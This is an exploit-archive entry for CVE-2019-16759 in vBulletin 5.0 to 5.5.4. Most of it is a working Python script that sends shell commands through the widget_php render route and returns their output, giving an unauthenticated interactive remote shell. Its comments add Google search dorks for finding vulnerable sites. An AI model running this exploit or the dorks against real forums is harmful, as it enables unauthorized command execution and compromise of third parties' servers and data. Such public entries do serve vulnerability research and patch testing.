vBulletin 5.0 < 5.5.4 - 'widget_php ' Unauthenticated Remote Code Execution

Author: anonymous
type: webapps
platform: php
port: 
date_added: 2019-10-01  
date_updated: 2019-11-13  
verified: 0  
codes: CVE-2019-16759  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 47447.py  

#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
#
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))